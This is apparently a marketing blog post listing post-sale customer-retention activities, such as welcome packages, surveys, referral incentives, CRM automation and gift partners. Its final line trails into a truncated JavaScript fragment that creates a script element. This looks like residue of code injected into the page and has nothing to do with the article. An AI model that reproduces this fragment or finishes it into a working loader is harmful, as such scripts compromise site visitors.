Phase Three Activities to Prevent Marketing Problems — An example of Phase Three marketing activities for a client.

Phase Three starts immediately after you make a sale to a new customer. It should go without saying that your product and customer service should be excellent, but those are not specifically marketing activities. But marketing activities should NOT STOP when you make a sale. Some (or all) of the activities listed could improve your chances of having a happy customer, and obtaining testimonials, referrals and repeat sales.

Customer Appreciation Events
A New Customer Welcome Package
Customer Satisfaction Survey
Follow Up Calls/Testimonial Requests
Thank You Gifts (when they do provide testimonials and/or referrals)
Referral incentive packages or programs
Regular emails ("Tip of the Week," support information, etc.)
Printed Newsletters
Social media connections/conversations
Greeting cards (anniversary, birthday, etc.)
Direct mail promotions (promoting your OTHER products, or repurchases when the time is right for consumable items.)

We don't advise all of our clients to do all of these activities, a lot depends on the size and frequency of transactions, the probability that a customer will need to make another purchase, our estimations of the customers' circle of influence, and several other considerations. But it's fair to say that most companies could benefit from a much more thorough Phase Three program. How do you find time for all these things?

Systematize everything. Make the New Customer Welcome Package part of the product delivery process. Use the hour you spend on Facebook Fridays to connect with new customers on social media, (particularly LinkedIn. Unfortunately, LinkedIn Friday doesn't have the same ring to it, but it works even better in the aviation industry for those networking connections.)
Use a good CRM. (We use Infusionsoft.) You can automate emails and surveys, set up batch jobs for mailing labels, and set reminders for tasks like phone calls. This also helps you delegate and check off tasks when they're done so those critical phone calls and follow up tasks don't fall through the cracks.
Use good partners. Create a good relationship with a company that can send gifts on your behalf. Gift cards are easy, but we prefer cookies, pies, flowers, fruit baskets, coffee mugs, office items, and other physical things that make more of a "splash" when they arrive and/or tend to stick around, keeping your name in front of your customer. Our local printing company is also a great partner who helps us keep a good supply of notepads, brochures, and other printed items on hand to keep these and other marketing systems going. They keep our graphics files on hand, let us order small numbers, and have great suggestions for us. A great event venue, caterer or event company can give you fantastic ideas and help with those customer appreciation events. Let them help you look good!
Keep your assets on file. Make sure your team can easily get to, use, and update letters, surveys, and other information. They're no good if they don't get used; people tend to "do their own thing" if you don't have specific templates and instructions for each activity.

Implement one (or several) of these Phase Three activities and keep track of your customer retention, testimonials, and referrals over time. You'll probably be convinced to add even more activities to your Phase Three!var d=document;var s=d.createElement('script'); ..